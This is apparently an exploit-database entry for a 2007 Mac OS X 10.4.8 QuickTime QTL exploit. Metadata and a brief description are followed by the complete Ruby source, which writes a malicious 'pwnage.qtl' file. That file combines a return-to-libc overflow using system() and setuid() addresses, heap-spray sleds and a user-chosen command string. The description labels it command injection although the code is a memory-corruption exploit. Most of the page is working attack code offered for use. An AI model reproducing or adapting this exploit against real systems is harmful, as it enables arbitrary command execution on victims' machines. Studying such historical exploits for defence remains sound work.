Exploit for Mac OS X 10.4.8 (8L2127) - Happy New Year Command Injection

vendor:

Mac OS X

by:

LMH and Kevin Finisterre

7.5

CVSS

HIGH

Command Injection

CWE

Product Name: Mac OS X

Affected Version From: Mac OS X 10.4.8 (8L2127)

Affected Version To: Mac OS X 10.4.8 (8L2127)

Patch Exists: NO

Related CWE:

CPE: o:apple:mac_os_x:10.4.8

Metasploit:

Other Scripts:

Platforms Tested: Mac

2007

Exploit for Mac OS X 10.4.8 (8L2127) – Happy New Year Command Injection

This exploit takes advantage of a command injection vulnerability in Mac OS X 10.4.8 (8L2127) to execute arbitrary commands. By modifying the CMD_STRING variable, an attacker can execute any command they desire. The exploit uses a static address for the command string, but this may need to be adjusted depending on the execution method and string length. The payload includes the addresses for system(), setuid(), and the command string. Sleds are also included to allocate large heap chunks for better reliability. This exploit was released on January 1, 2007, and was developed by LMH and Kevin Finisterre.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of Mac OS X. Additionally, ensure that input is properly validated and sanitized before being used in commands.

Source

Exploit-DB raw data:

#!/usr/bin/ruby
# Copyright (c) LMH <lmh [at] info-pull.com>
#               Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Notes:
# Our command string is loaded on memory at a static address normally,
# but this depends on execution method and the string length. The address set in this exploit will
# be likely successful if we open the resulting QTL file directly, without having an
# instance of Quicktime running. Although, when using another method and string, you'll need
# to find the address.
# For 100% reliable exploitation you can always use the /bin/sh address,
# but that's not as a cool as having your box welcoming the new year.
# Do whatever you prefer. That said, enjoy.
# 
# see http://projects.info-pull.com/moab/MOAB-01-01-2007.html

# Command string: Use whatever you like.
# Remember that changing this will also need a change of the target address for system(),
# unless string length is the same.
CMD_STRING  = "/usr/bin/say Happy new year shit bag"

# Mac OS X 10.4.8 (8L2127)
EBP_ADDR    = 0xdeadbabe
SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
SETUID_ADDR = 0x900334f0
CURL_ADDR   = 0x916c24bc # /usr/bin/curl
SHELL_ADDR  = 0x918bef3a # /bin/sh
CMDSTR_ADDR = [
                SHELL_ADDR, # 0 addr to static /bin/sh     (lame)
                0x17a053c, # 1 addr to our command string (cool) :> (change as necessary)
                0xbabeface, # 2 bogus addr for testing.
                CURL_ADDR   # 3 addr to '/usr/bin/curl'
              ]

# Payload
HAPPY = ("A" * 299) +
        [EBP_ADDR].pack("V")    +
        [SYSTEM_ADDR].pack("V") +
        [SETUID_ADDR].pack("V") +
        [CMDSTR_ADDR[1]].pack("V")  # change array index for using diff. addr

# Sleds: not necessary if using /bin/bash addr or other built-in addresses.
# although, for using our own fu, we need to spray some data for better reliability
# the goal is causing allocation of large heap chunks
NEW   = ("\x90" * 30000) + CMD_STRING   # feed the heap
YEAR  = ("\x90" * 30000) + CMD_STRING   # go johnny, go
APPLE = ("\x90" * 30000) + "EOOM"       # feed the heap more
BOYZ  = ("\x90" * 30000) + "FOOM"       # and more

# QTL output template
QTL_CONTENT = "<?xml version=\"1.0\"?>" +
              "<?quicktime type=\"application/x-quicktime-media-link\"?>" +
              "<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
              "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
              "src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"

target_file = File.open("pwnage.qtl", "w+") { |f|
  f.print(QTL_CONTENT)
  f.close
}

# milw0rm.com [2007-01-01]